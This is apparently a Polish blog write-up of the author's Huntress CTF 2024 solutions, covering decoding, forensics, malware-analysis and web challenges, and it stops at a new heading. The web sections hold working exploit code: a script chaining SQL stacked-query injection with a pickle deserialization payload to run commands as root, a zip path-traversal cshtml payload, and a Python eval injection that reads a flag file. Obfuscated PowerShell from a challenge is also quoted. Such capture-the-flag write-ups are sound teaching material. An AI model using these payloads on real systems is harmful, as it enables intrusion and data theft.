Huntress CTF 2024
W tym roku Huntress zorganizowało swoje coroczne wydarzenie Capture The Flag w październiku, aby uczcić Miesiąc Świadomości Cyberbezpieczeństwa. Wydarzenie trwało przez cały miesiąc i obejmowało wyzwania z zakresu analizy śledczej, malware, OSINT, zadania ogólne oraz różne zadania rozgrzewkowe. Wziąłem udział w wydarzeniu razem z zespołem No Man’s Root. Jak na pierwszy raz, udało nam się zająć 78. miejsce spośród 3444 drużyn. W tym wpisie przedstawię część rozwiązań, które udało mi się ukończyć – a było ich niemało!
W wydarzeniu było 71 zadań, z czego sam rozwiązałem 46. Dziękuję również wszystkim osobom, które wsparły mnie w trakcie, choć nie wymieniam ich tutaj z imienia. Poniżej przedstawiam statystyki mojej punktacji oraz wynik naszego zespołu. Uważam, że jak na mój pierwszy raz, gdy naprawdę zaangażowałem się w rozwiązywanie CTF-a od początku do końca, poszło mi całkiem nieźle. Duża liczba niezaliczonych zadań widoczna na wykresie wynika z frustracji, która pojawiła się w pewnym momencie. Ewidentnie wciąż brakuje mi biegłości w reverse engineering – mimo posiadania fragmentów flagi, nie mogłem ustalić ich właściwej kolejności (dziękuję za wsparcie, lady_debug!).
TXT Message
Challenge Type: Warmups
Author: @JohnHammond
Hmmm, widziałeś niektóre dziwne rekordy DNS dla domeny ctf.games? Jeden z nich jest naprawdę podejrzany… (ang. Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…)
Z opisu zadania dowiadujemy się, że w DNS jest dodatkowy, nietypowy wpis. Zwykle, gdy chcemy dodać niestandardową wartość do naszych rekordów DNS, używamy rekordu TXT. Dlatego pierwszym poleceniem, które wykonałem, było dig -t txt +short ctf.games
. W odpowiedzi otrzymałem następujący wpis: 146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175
. Wygląda to na zakodowany tekst zawierający flagę. Bez dłuższego zastanowienia skorzystałem z ChatGPT, który szybko podał mi odpowiedź:
MatryoshkaQR
Challenge Type: Warmups
Author: @JohnHammond
Wow! To jest ogromny kod QR! Ciekawe, co mówi… (ang. Wow! This is a big QR code! I wonder what it says…?)
Do zadania dołączono plik PNG, który zawierał kod QR, przedstawiony poniżej:
Po zeskanowaniu kodu QR otrzymaliśmy dane, które na początku zawierały frazę “PNG”. Domyśliłem się, że jest to kolejny obrazek zakodowany w formacie hex. Za pomocą poniższego skryptu zapisałem te dane do nowego pliku PNG:
encoded_string = (
"\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00'\\x00\\x00\\x00'"
"\\x01\\x00\\x00\\x00\\x00\\xa4\\xd8l\\x98\\x00\\x00\\x00\\xf5IDATx\\x9c\\x01\\xea"
"\\x00\\x15\\xff\\x01\\xff\\x00\\x00\\x00\\xff\\x00\\x80\\xa2\\xd9\\x1a\\x02\\x00"
"\\xbe\\xe6T~\\xfa\\x04\\xe4\\xff\\x0fh\\x90\\x02\\x00\\x1a\\x7f\\xdc\\x00\\x02"
"\\x00\\xde\\x01H\\x00\\x00\\xbe\\xd5\\x95J\\xfa\\x04\\xc2*\\x15`\\x08\\x00\\xff"
"\\x9d.\\x9f\\xfe\\x04\\xfd#P\\xc3\\x0b\\x02\\x97\\x0e:\\x07d\\x04/vIg\\x19\\x00"
"\\xbb\\xcd\\xf3-\\xd2\\x02\\xfb\\xd6d\\xb5\\x88\\x02E\\xc7^\\xdf\\xfc\\x00\\x84"
"\\xfb\\x13\\xf3J\\x02\\xfd\\x88a\\xefD\\x00\\xc8t$\\x90\\n\\x01\\xc7\\x01\\xee1"
"\\xf7\\x043Q\\x17\\x0cH\\x01\\xa5\\x03\\x1c6d\\x02\\r\\xf0\\xbfV$\\x00\\xcf\\x13"
"d3\\x06\\x01\\xee\\x08J\\xf5E\\x00\\x9b\\xee\\n\\xac\\xfa\\x01\\xea|\\xf2\\xe86"
"\\x04\\xb3\\xc9\\x84\\xf7\\xb4\\x02\\t\\x90U%\\x14\\x00\\xbf g\\xa5\\xee\\x02"
"\\xfbH\\xf1#4\\x00\\xff\\xa1!;\\x86\\x02\\x81VB\\xdf\\xfc\\x04>\\xb1s\\x00\\x10"
"\\x02\\xe4>\\xab-p\\x00\\xa2\\xc6\\xfe\\xf6\\xee\\x04\\x00\\x05\\xcbl5\\x02\\x1c"
"\\xfc\\x85;\\xd0\\x02\\xc2\\xfb\\xe6A\\x00\\x01\\xff\\x00\\x00\\x00\\xff\\xf9"
"\\xdb_g\\xf4\\x9a\\xddH\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82"
)
def decode_and_save(encoded_str, output_filename):
byte_data = bytes(encoded_str, "utf-8").decode('unicode_escape').encode('latin1')
with open(output_filename, 'wb') as file:
file.write(byte_data)
output_file = "output.png"
decode_and_save(encoded_string, output_file)
Po wykonaniu kodu otrzymałem następny kod QR:
Po jego zeskanowaniu otrzymałem flagę: flag{01c6e24c48f48856ee3adcca00f86e9b}
Base64by32
Challenge Type: Scripting
Author: @JohnHammond
To jest głupie zadanie. Przepraszam. (ang. This is a dumb challenge. I’m sorry.)
Do zadania dołączono plik base64by32.zip
, z którego po rozpakowaniu otrzymaliśmy plik tekstowy zakodowany w base64. Za pomocą CyberChef dodawałem kolejne operacje dekodowania base64, aż uzyskałem flagę (prawdopodobnie aż 32 razy!).
Obfuscation Station
Challenge Type: Forensics
Author: @resume
Dotarłeś do Stacji Zaciemniania! Czy potrafisz zdekodować ten skrypt PowerShell, aby znaleźć flagę? (ang. You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?)
Do zadania dołączono plik Challenge.zip, który po rozpakowaniu zawierał skrypt PowerShell o nazwie chal.ps1. Zawartość skryptu:
(nEW-objECt SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')
Napierw za pomocą Cyberchef poprawiłem czytelność skryptu, zamieniając duże litery na małe:
Następnie, używając skryptu do odwrócenia procesu, zdekodowałem flagę (zajęło mi to chwilę, zanim zauważyłem, że kopiowałem niepoprawnie dane Base64 – kopiowałem wyłącznie małe litery zamiast zachować oryginalny format ze skryptu).:
import base64
import zlib
encoded_data = 'uzf19/ujv7bvuerlsuyvnk5nmtm3tu0zmdyxnjsxndcynjextdy2suu0ndritdwpvqia'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -15)
print(decompressed_data.decode('ascii'))
Zdekodowana flag: b'$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"'
Hidden Streams
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
Pod powierzchnią tajemnice płyną, Cichy nurt skrywa szeptów tkaną. Niewidzialne prądy, senne marzenia, Niosą historie ukryte w strumieniach. Czy odnajdziesz sekrety w tych logach Sysmon? (ang. Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams. Can you find the secrets in these Sysmon logs?)
Do rozwiązania zadania wykorzystałem swoje ulubione narzędzie do przeszukiwania zdarzeń systemu Windows, Chainsaw. Przy użyciu polecenia chainsaw search 'powershell' -i Sysmon.evtx
wylistowałem wszystkie zdarzenia związane z PowerShell. Wśród nich znalazłem zdarzenie, które zawierało dodatkową zawartość zakodowaną w formacie Base64:
Zdekodowana flaga: `flag{bfefb891183032f44fa93d0c7bd40da9}
Echo Chamber
Challenge Type: Scripting
Author: @JohnHammond#6971
Czy ktoś tam jest? Czy ktoś tam jest? Wysyłam sobie flagę! Wysyłam sobie flagę! (ang. Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!)
Aby rozwiązać zadanie, otrzymaliśmy plik pcap
zawierający wyłącznie pakiety ICMP. W danych pakietu zauważyłem przesyłane informacje. Wyfiltrowałem jedynie żądania (request), zapisałem wynik w formacie CSV, a następnie wkleiłem do CyberChef, aby je zdekodować. Przeglądając zawartość danych, dostrzegłem, że każdy znak był zduplikowany około 40 razy. Po usunięciu duplikatów otrzymałem flagę.
Zdekodowana flaga: flag{6b388a9117a7554d88bf384d7c73fd6e}
Keyboard Junkie
Challenge Type: Forensics
Author: @JohnHammond
Mój przyjaciel nie przestawał mówić o swojej nowej klawiaturze, więc… (ang. My friend wouldn’t shut up about his new keyboard, so…)
Do rozwiązania zadania ponownie otrzymaliśmy plik pcap
, tym razem zawierający przechwyconą komunikację z klawiatury USB. Po kilku wyszukiwaniach w Google znalazłem skrypt, za pomocą którego rozwiązałem zadanie.
tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbData
Zimmer Down
Challenge Type: Forensics
Author: @sudo_Rem
Użytkownik wchodził w interakcję z podejrzanym plikiem na jednym z naszych hostów. Jedyne, co udało nam się zdobyć, to rejestr użytkownika. Czy ukrywa on jakieś sekrety? (ang. A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?)
Do rozwiązania zadania otrzymaliśmy plik NTUSER.DAT
. Korzystając z Registry Explorer i słowa kluczowego flag
, przeszukałem rejestr, jednak autorzy zadania nieco utrudnili zadanie, dodając wiele wpisów typu „not the flag”. Przeszukując okolice znalezionych wyników, natknąłem się na wpis o nazwie b62
, w którym znajdowała się zakodowana zawartość. Po jej rozkodowaniu odnalazłem flagę.
X-RAY
Challenge Type: Malware
Author: @JohnHammond
SOC wykrył złośliwe oprogramowanie na hoście, ale program antywirusowy już je poddał kwarantannie… czy nadal możesz zrozumieć, co ono robi? (ang. The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?)
W treści zadania znajduje się wskazówka mówiąca, że plik został poddany kwarantannie. Założyłem, że prawdopodobnie użyto Windows Defendera. W pierwszej kolejności znalazłem skrypt, który pozwolił mi odzyskać plik. Po jego przywróceniu okazało się, że jest to plik wykonywalny stworzony w .NET.
Następnie zdekompilowałem program za pomocą dotPeek. W głównej części znalazłem dwie zakodowane wartości oraz operację służącą do ich dekodowania. Skopiowałem kod i za pomocą ChatGPT przerobiłem go na Python. Po uruchomieniu przerobionego skryptu uzyskałem flagę.
import sys
import codecs
def load(hex_string):
length = len(hex_string)
num_array = bytearray(length // 2)
for start_index in range(0, length, 2):
num_array[start_index // 2] = int(hex_string[start_index:start_index + 2], 16)
return num_array
def otp(data1, data2):
return bytearray(a ^ b for a, b in zip(data1, data2))
data1 = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c")
data2 = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41")
result = otp(data1, data2)
print(codecs.decode(result, 'utf-8'))
Zdobyta flag: flag{df26090565cb329fdc8357080700b621}
Strange Calc
Challenge Type: Malware
Author: @JohnHammond
Dostałem nową aplikację kalkulatora od mojego znajomego! Ale jest naprawdę dziwna, z jakiegoś powodu potrzebuje uprawnień administratora do uruchomienia?? (ang. I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??)
Na początku, jak przy każdej analizowanej próbce, sprawdziłem podstawowe informacje o pliku exe za pomocą PeStudio. Zauważyłem, że plik jest spakowany za pomocą UPX i przygotowany przy użyciu skryptów automatyzacji AutoIt.
Po rozpakowaniu pliku otrzymałem skrypt .au, który zawierał kodowanie base64.
Zdekodowana zawartość base64 zawierała plik .jse
. Po deobfuskacji przy użyciu CyberChef uzyskałem kod JavaScript, jednak z niewiadomych powodów skrypt nie chciał wyświetlić swojej rzeczywistej zawartości. Dopiero ChatGPT szybko ją zdekodował.
Sekiro
Challenge Type: Miscellaneous
Author: @HuskyHacks
お前はもう死んでいる
W zadaniu celem jest jak najszybsze pokonanie przeciwnika. Metodą prób i błędów, analizując jego zachowanie, udało mi się stworzyć skrypt, który umożliwił jego pokonanie.
import pexpect
process = pexpect.spawn(f'nc challenge.ctf.games 32166')
try:
while True:
process.expect(r'Opponent move: (block|strike|advance|retreat)\r?\n')
print(process.before.decode('utf-8').strip())
opponent_move = process.match.group(1).decode('utf-8').strip()
print(f"Opponent move: `{opponent_move}`")
process.expect('Your move:')
if 'block' in opponent_move:
move = 'advance'
elif 'strike' in opponent_move:
move = 'block'
elif 'advance' in opponent_move:
move = 'retreat'
elif 'retreat' in opponent_move:
move = 'strike'
process.sendline(move)
print(f"Your move: {move}")
except pexpect.EOF:
print(process.before.decode('utf-8').strip())
Russian Roulette
Challenge Type: Malware
Author: @JohnHammond
Mój PowerShell zachowuje się naprawdę dziwnie!! Uruchamia się kilka sekund, a czasem po prostu zawiesza mi komputer!?!?! :(
OSTRZEŻENIE: Przeanalizuj to zadanie wewnątrz maszyny wirtualnej dla własnego bezpieczeństwa. Istnieje realne ryzyko, że Twoja maszyna wirtualna może się zawiesić po uruchomieniu.
(ang. My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :( WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.)
Do rozwiązania zadania otrzymaliśmy plik skrótu w systemie Windows (.lnk), który pobiera z internetu złośliwe oprogramowanie. Po jego pobraniu znaleźliśmy mocno zaciemniony skrypt PowerShell. Manualna analiza zajęłaby bardzo dużo czasu, więc postanowiłem skorzystać z portalu Any.Run. Po uruchomieniu pliku i prześledzeniu wywołań PowerShell znalazłem wartość zakodowaną w base64.Następnie, za pomocą CyberChef, zdekodowałem zawartość i odkryłem, że zawiera ona kolejną warstwę – tym razem zaszyfrowaną przy użyciu AES.Po odszyfrowaniu warstwy AES uzyskałem flagę.
The Void
Challenge Type: Warmups Author: @JohnHammond#6971
Kiedy patrzysz długo w otchłań, otchłań patrzy również na ciebie… (ang. When you gaze long into the void, the void gazes also into you…)
Po połączeniu z zadaniem pojawił się czarny ekran, ciemniejszy niż zwykle w konsoli.
Zdecydowałem się przekierować cały input do pliku. Otwierając plik w edytorze vi, zauważyłem znaki przypominające kody kolorów używane w konsoli bash.
nc challenge.ctf.games 30124 > aaa
Za pomocą polecenia sed
usunąłem wszystkie znaki odpowiedzialne za kolorowanie, co pozwoliło mi uzyskać flagę.
cat aaa| sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g"
Malibu
Challenge Type: Miscellaneous
Author: Truman Kain
Co zabierasz na plażę?
UWAGA: Dwie rzeczy, o których warto pamiętać przy tym zadaniu: Uruchomienie usługi zajmuje trochę więcej czasu. Jeśli pojawi się komunikat “Connection refused”, poczekaj chwilę dłużej. Usługa nie odpowie ani nie wyświetli żadnych wskazówek od razu… czeka na twój wkład. Jeśli po prostu naciśniesz Enter, zobaczysz, co to jest. Dodatkowa wskazówka: gdy już poznasz, czym jest ta usługa, spróbuj połączyć się w lepszy sposób. Następnie użyj kontekstu i logicznego myślenia na podstawie jej odpowiedzi i opisu zadania. Żadne brutalne wymuszanie nie będzie potrzebne, kiedy zrozumiesz infrastrukturę i dokonasz enumeracji. ;)
(ang. What do you bring to the beach?
NOTE: There are two things to note for this challenge. This service takes a bit more time to start. If you see a Connection refused, please wait a bit more. This service will not immediately respond or prompt you… it is waiting for your input. If you just hit Enter, you will see what it is. Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don’t need any bruteforcing once you understand the infrastructure and enumerate. ;))
Na początku zadania otrzymujemy polecenie nc challenge.ctf.games 31426
. Po jego wykonaniu zauważam, że usługa komunikuje się za pomocą protokołu HTTP.Z przyzwyczajenia od razu skorzystałem z Burpa, aby dowiedzieć się więcej o działaniu usługi. Szybko zauważyłem nagłówek “Server”, który dostarczył mi informacji o typie usługi.Po szybkim wyszukaniu w Google dowiedziałem się, że jest to usługa obsługi bucketów dostępna na systemy Linux. Po pobraniu odpowiedniego klienta ze strony rozpocząłem konfigurację usługi. Na tym etapie kluczowe było odnalezienie nazwy bucketu, ponieważ opcja listowania wszystkich była zablokowana. Pomocny okazał się opis zadania, który zasugerował, że może to być “ctf” lub “bucket”. Gdy znalazłem prawidłowy bucket, wylistowałem jego zawartość. Okazało się, że znajduje się tam bardzo dużo plików, więc zdecydowałem się skopiować całą zawartość bucketu lokalnie.Następnie, jak zwykle, pierwszym poleceniem było grep -r flag
, które od razu doprowadziło mnie do rozwiązania.
Plantopia
Challenge Type: Web
Author: @HuskyHacks
Plantopia to nasza nowa, nowoczesna strona do zarządzania pielęgnacją roślin! Stworzona zarówno dla hobbystów, jak i profesjonalistów, oferuje wszystko, czego potrzebujesz do kompleksowego zarządzania opieką nad roślinami.
Prosimy o przeprowadzenie testu penetracyjnego przed uruchomieniem witryny i poinformowanie nas o wszelkich znalezionych problemach.
Nazwa użytkownika: testuser
Hasło: testpassword
(ang.
Plantopia is our brand new, cutting edge plant care management website! Built for hobbiests and professionals alike, it’s your one stop shop for all plant care management.
Please perform a penetration test ahead of our site launch and let us know if you find anything.
Username: testuser
Password: testpassword
)
Po uruchomieniu aplikacji pojawia się panel logowania. Na początku próbowałem zalogować się danymi podanymi w zadaniu, jednak nie działały one poprawnie. Zacząłem więc klikać dostępne linki.Okazało się, że aplikacja nie weryfikuje dostępu, a dokumentacja API jest dostępna przez Swaggera. Sprawdzając dostępne endpointy, zauważyłem, że wymagają one tokenu autoryzacyjnego. Na samej górze znalazłem przycisk „Authorize”, który po naciśnięciu wyświetlił informacje na temat budowy tokenu. Ku mojemu zaskoczeniu, token nie wymagał loginu i hasła, jak zazwyczaj przy tego typu konfiguracjach.Wygenerowałem timestamp z datą w przyszłości i zakodowałem go w base64. Okazało się, że token działa poprawnie, dając mi dostęp do API.Następnie przetestowałem żądanie ustawiające polecenie dotyczące wysyłania wiadomości e-mail, które miało prostą walidację. Po pomyślnym ustawieniu polecenia musiałem wysłać żądanie odpowiedzialne za jego wykonanie.Ponieważ było to zamknięte środowisko i nie mogłem skorzystać z funkcji Burp Collaboratora, musiałem znaleźć inny sposób na uzyskanie odpowiedzi.Pomocny okazał się endpoint zwracający logi aplikacji. Po kilku próbach udało mi się uzyskać poszukiwaną flagę.
HelpfulDesk
Challenge Type: Web
Author: @HuskyHacks
HelpfulDesk to idealne rozwiązanie dla małych i średnich firm potrzebujących zdalnego monitorowania i zarządzania. Wczoraj wieczorem HelpfulDesk wydał biuletyn bezpieczeństwa, w którym pilnie zaleca aktualizację do najnowszego poziomu poprawek. Szczegóły były skąpe, ale to raczej nie wróży nic dobrego…
(ang. HelpfulDesk is the go-to solution for small and medium businesses who need remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest patch level. They were scarce on the details, but I bet that can’t be good…)
Po odwiedzeniu aplikacji i sprawdzeniu biuletynu zauważyłem, że dostępna jest nowa wersja aplikacji (1.2), podczas gdy uruchomiona wersja to 1.1.Pobieram plik i najpierw za pomocą prostego polecenia diff
próbuję zidentyfikować zmienione pliki. Szybko okazało się, że jedyna istotna zmiana zaszła w pliku HelpfulDesk.dll
. Następnie, za pomocą polecenia file
, sprawdziłem, czym dokładnie jest ten plik. Okazało się, że jest to biblioteka napisana w .NET.Użyłem ponownie DotPeek, ale tym razem zdekodowane biblioteki zapisałem w osobnych folderach. Następnie, korzystając z WinMerge, porównałem zmiany między wersjami. W pliku SetupController.cs
, odpowiedzialnym za konfigurację oprogramowania, w nowszej wersji usunięto wyrażenie Trim('/')
.Postanowiłem więc odwiedzić sugerowaną przez kod ścieżkę. Po wejściu na /Setup/SetupWizard/
moim oczom ukazał się panel instalacyjny aplikacji, umożliwiający ustawienie hasła administratora.Po ustawieniu własnego hasła, np. admin:admin
, poprawnie zalogowałem się do aplikacji i pobrałem flagę.
Zdobyta flaga: flag{03a6f458b7483e93c37bd94b6dda462b}
MOVEable
Challenge Type: Web
Author: @JohnHammond#6971
Chciałeś kiedyś przenosić swoje pliki? Wiesz, jak za pomocą eleganckiego interfejsu webowego, zamiast tylko FTP czy czegoś podobnego?
Teraz możesz, dzięki naszej super bezpiecznej aplikacji MOVEable!
Podnieś swoje uprawnienia i znajdź flagę.
(ang. Ever wanted to move your files? You know, like with a fancy web based GUI instead of just FTP or something? Well now you can, with our super secure app, MOVEable! Escalate your privileges and find the flag. )
Muszę przyznać, że to zadanie zajęło mi chyba najwięcej czasu, a exploit jest zdecydowanie najbardziej skomplikowany. Do rozwiązania otrzymaliśmy kod aplikacji, co pozwoliło na przygotowanie exploitu, a następnie jego uruchomienie w środowisku CTF. Pierwszą podatność odkryłem w procesie logowania – pozwalała na wykonywanie tzw. stacked queries, co umożliwiało dodawanie dowolnych wartości do tabel w bazie danych. Kiedy myślałem, że mam już wszystko, okazało się, że w kodzie jest błąd i funkcjonalność pobierania plików nie działa.Po dokładniejszym przyjrzeniu się funkcji odpowiedzialnej za pobieranie plików zauważyłem, że korzysta ona z pickle – znanej biblioteki, która pozwala na zdalne wykonanie kodu. Kiedy wiedziałem już, jak umieszczać dane w bazie i uruchamiać kod, brakowało mi jednej kluczowej rzeczy: odpowiedzi serwera.Aplikacja w przypadku błędu zwracała jedynie kod 500 bez dodatkowych informacji. Rozwiązaniem okazała się komunikacja za pomocą ciasteczek sesyjnych. Udało się dopisać dowolną wartość do ciasteczka z poziomu kodu. Minusem tego rozwiązania było to, że wartość dopisana do ciasteczka miała ograniczenia dotyczące znaków (dlaczego, nie wiem), ale ograczniczając liczbę znaków byłem wstanie odebrać całą komunikacje.W kolejnym kroku przygotowałem exploit. Gdy sądziłem, że wszystko jest gotowe i wystarczy jedynie zapytać bazę danych o flagę, okazało się, że jej tam nie ma. Ponownie wróciłem do opisu zadania, w którym wyraźnie zaznaczono, aby podnieść swoje uprawnienia. To wskazywało, że flaga musi znajdować się w systemie plików, prawdopodobnie w katalogu /root.Najprostszym sposobem na podniesienie uprawnień było użycie polecenia sudo. Polecenie sudo -l pokazało, do czego użytkownik ma dostęp. Ku mojemu zadowoleniu, zobaczyłem wpis NOPASSWD=ALL, co oznaczało możliwość użycia sudo bez hasła – częsty błąd konfiguracyjny. W ostatnim kroku wystarczyło wykonać sudo cat /root/flag.txt, aby uzyskać flagę.
import requests
import pickle
import base64
import json
from itsdangerous import base64_decode
import random
import string
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
HOST = 'http://challenge.ctf.games:32154'
CMD = '''sudo cat /root/flag.txt'''
class RCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return eval, (self.cmd,)
def init_session():
print('init session')
data = 'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2factivesessions%2f**%2f(sessionid%2c%2f**%2ftimestamp)%2f**%2fVALUES%2f**%2f(%5cf3c3b700-4339-45fc-bb32-45105d62a884%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
def get_flag_length():
print('Get data lenght')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': len(base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()))})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
print(payload)
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
print(data)
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
length = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(length)
return length
def get_flag(start, end):
print('Get data')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()).decode()[''' + str(start) + ''':'''+ str(end)+''']})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}-{start}-{end}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}-{start}-{end}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
part = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(part)
return part
init_session()
lenght = get_flag_length()
content = ""
for i in range(0, lenght, 10):
if i + 10 < lenght:
e = i + 10
else:
e = i + (lenght - i)
print(i, e)
try:
content += get_flag(i, e)
except:
pass
print(content)
print(base64_decode(content))
Backdoored Splunk II
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
Pewnie widziałeś, jak Splunk jest używany do dobrych celów, ale czy widziałeś, jak jest używany do złych? UWAGA: Głównym elementem tego zadania jest plik dostępny do pobrania poniżej. Korzysta on z dynamicznie uruchamianej usługi, ale musisz połączyć elementy układanki, aby odzyskać flagę.
(ang. You’ve probably seen Splunk being used for good, but have you seen it used for evil? NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. )
Autor dołączył do zadania plik zip zawierający paczkę Splunk_TA_windows
. Po krótkich poszukiwaniach udało mi się znaleźć oryginalne pliki dostępne do pobrania na tej stronie. Po wykonaniu polecenia diff
znalazłem różnice w plikach. Najciekawsza z nich zawierała zaciemniony skrypt PowerShell.Po deobfuskacji skryptu otrzymałem ciąg base64, który po zdekodowaniu ujawnił polecenie Invoke-WebRequest
z adresem oraz ustawionym nagłówkiem.Po wykonaniu polecenia curl
otrzymałem flagę.
Stack It
Challenge Type: Reverse Engineering
Author: @sudo_Rem
Nasz zespół analityków bezpieczeństwa niedawno pracował nad osobliwą próbką Lumma. Dentyści, którzy nam pomagali, doradzili, abyśmy nitkowali zęby co najmniej dwa razy dziennie, żeby sobie pomóc. Dali nam też ten dziwny plik. Może Ty będziesz mógł nam pomóc?
(ang. Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised we floss at least twice a day to help out. He also gave us this weird file. Maybe you can help us out.)
Do rozwiązania zadania otrzymaliśmy plik stack_it.bin. Wstępna analiza wykazała, że jest to plik wykonywalny z usuniętymi symbolami debugowymi.Po uruchomieniu GDB i wykonaniu kilku kolejnych instrukcji, wskaźnik znajdujący się w rejestrze EDX zawierał flagę.
Zippy
Challenge Type: Web Author: @HuskyHacks
(ang. Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for the small to medium business!)
Oto poprawiona wersja tekstu:
Aplikacja udostępniona przez organizatorów umożliwiała przesyłanie plików w formacie ZIP, które po rozpakowaniu były zapisywane w katalogu o identyfikatorze wskazanym przez użytkownika.Aplikacja posiadała kilka podatności. Pierwszą z nich była możliwość nadpisywania plików poprzez zawartość archiwum ZIP, a drugą podatność stanowił path traversal, pozwalający na przeglądanie zawartości dowolnego katalogu.
Aplikacja została napisana w technologii .NET i obsługiwała dynamiczną kompilację plików cshtml. Najpierw stworzyłem stronę cshtml, która wczytywała flagę z określonej przeze mnie lokalizacji, a następnie, korzystając z poprawionej wersji skryptu evilarc, przygotowałem plik ZIP zawierający odpowiednią ścieżkę.
@page
@using System.IO
@functions {
public string GetFileContent()
{
string filePath = "/app/flag.txt";
if (System.IO.File.Exists(filePath))
{
return System.IO.File.ReadAllText(filePath);
}
else
{
return "File not found.";
}
}
}
@{
ViewData["Title"] = "About";
var fileContent = GetFileContent();
}
<h2>Contents of /app/flag.txt</h2>
<pre>
@fileContent
</pre>
Po przesłaniu pliku payload nadpisał istniejący plik w aplikacji, odpowiedzialny za wyświetlanie informacji o mnie, wyświetlając flagę.
PillowFight
Challenge Type: Web Author: @HuskyHacks
PillowFight wykorzystuje zaawansowane AI/MLRegressionLearning*, aby połączyć dwa wybrane przez Ciebie obrazy. *uwaga dla inwestorów: technicznie rzecz biorąc, to nie jest jeszcze prawda, obecnie używamy biblioteki Pythona, ale prosimy o wsparcie finansowe, a dostarczymy to, obiecujemy.
(ang. PillowFight uses advanced AI/MLRegressionLearning* to combine two images of your choosing *note to investors this is not techically true at the moment we’re using a python library but please give us money and we’ll deliver it we promise.)
Oto poprawiona wersja tekstu:
Aplikacja webowa została stworzona do łączenia obrazów.Oprócz funkcji dostępnych przez interfejs GUI, umożliwia także interakcję przez API. W dokumentacji API zauważyłem dodatkowy parametr eval_command
.Po wysłaniu przykładowego zapytania w nagłówkach odpowiedzi odkryłem również wersję wykorzystywanego oprogramowania. Po modyfikacji zawartości polecenia ustaliłem, że wynik polecenia musi tworzyć obiekt posiadający metodę save
.
Korzystając z dokumentacji biblioteki Pillow, przygotowałem fragment kodu, który za pomocą funkcji lambda w Pythonie tworzy obiekt posiadający metodę save
, wczytującą flagę z systemu.
eval("type('A', (object,), {'save': (lambda self, fp, format=None, **params: fp.write(open(\"flag.txt\", \"rb\").read()) if hasattr(fp, 'write') else None)})()")
Permission to Proxy
